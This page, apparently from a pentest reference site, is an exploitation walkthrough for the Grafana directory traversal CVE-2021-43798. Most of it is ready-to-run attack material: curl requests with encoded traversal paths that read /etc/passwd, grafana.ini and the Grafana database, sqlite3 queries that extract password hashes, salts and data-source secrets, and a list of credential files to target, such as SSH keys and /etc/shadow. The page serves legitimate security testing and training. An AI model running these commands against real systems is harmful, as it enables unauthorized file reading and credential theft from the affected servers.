# Grafana Directory Traversal (CVE-2021-43798)

> Exploits Grafana's path traversal flaw to read arbitrary files outside the web root via crafted plugin endpoint requests, bypassing authentication.

- **URL:** https://hackindex.io/services/grafana/exploitation/grafana-directory-traversal-cve-2021-43798
- **Path:** Grafana > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/grafana/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

CVE-2021-43798 is an unauthenticated directory traversal in Grafana 8.0.0-beta1 through 8.3.0 (fixed in 8.3.1, 8.2.7, 8.1.8, 8.0.7). The vulnerability exists in the plugin static file serving endpoint. By requesting a path like `/public/plugins/<plugin-id>/..%2f..%2f..%2f..%2fetc/passwd`, an attacker reads arbitrary files from the server filesystem without authentication.

## Identifying Installed Plugins

The traversal requires a valid plugin ID. These plugins are installed by default on most Grafana instances.

Common default plugins:

- `alertlist`
- `dashlist`
- `cloudwatch`
- `graphite`
- `prometheus`
- `mysql`
- `postgres`
- `influxdb`
- `loki`
- `elasticsearch`
- `text`
- `table`
- `table-old`
- `grafana-clock-panel`

## Basic Exploitation

**Read /etc/passwd**

```bash
curl -s --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
# grafana:x:472:472:grafana user:/usr/share/grafana:/sbin/nologin
```

> [!NOTE]
> If one plugin returns a 404, try others. Not all default plugins are installed on every instance.

## Grafana Configuration File

The Grafana config contains the database credentials, secret key, and admin password (if set via config).

```bash
curl -s --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini
```

## Grafana SQLite Database

When using the default SQLite backend, the database file contains all users, dashboards, data sources (with encrypted passwords), and API keys.

```bash
curl -s --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db -o grafana.db
```

**Extract users and password hashes**

```bash
sqlite3 grafana.db "SELECT login, email, password, salt, is_admin FROM user;"
# admin|admin@localhost|hash_value|salt_value|1
```

**Extract data source passwords**

```bash
sqlite3 grafana.db "SELECT name, type, url, user, secure_json_data FROM data_source;"
```

## Automating with Nuclei

```bash
nuclei -u http://$TARGET_IP:3000 -t cves/2021/CVE-2021-43798.yaml
```

## High-Value Files

Beyond Grafana-specific files, use the traversal to read standard Linux targets:

- `/etc/passwd`: user enumeration
- `/etc/shadow`: password hashes (if Grafana runs as root)
- `/proc/self/environ`: environment variables with potential secrets
- `/home/<user>/.ssh/id_rsa`: SSH private keys
- `/etc/grafana/grafana.ini`: Grafana config with DB creds and secret key
- `/var/lib/grafana/grafana.db`: SQLite database with all Grafana data

## References

- [Grafana: Security Fix Release 8.3.1](https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/) - Official advisory with affected versions and fix.
- [NVD: CVE-2021-43798](https://nvd.nist.gov/vuln/detail/CVE-2021-43798) - Directory traversal via plugin static file serving (CVSS 7.5).
- [Nuclei Template: CVE-2021-43798](https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2021/CVE-2021-43798.yaml) - Automated testing template with multiple plugin paths.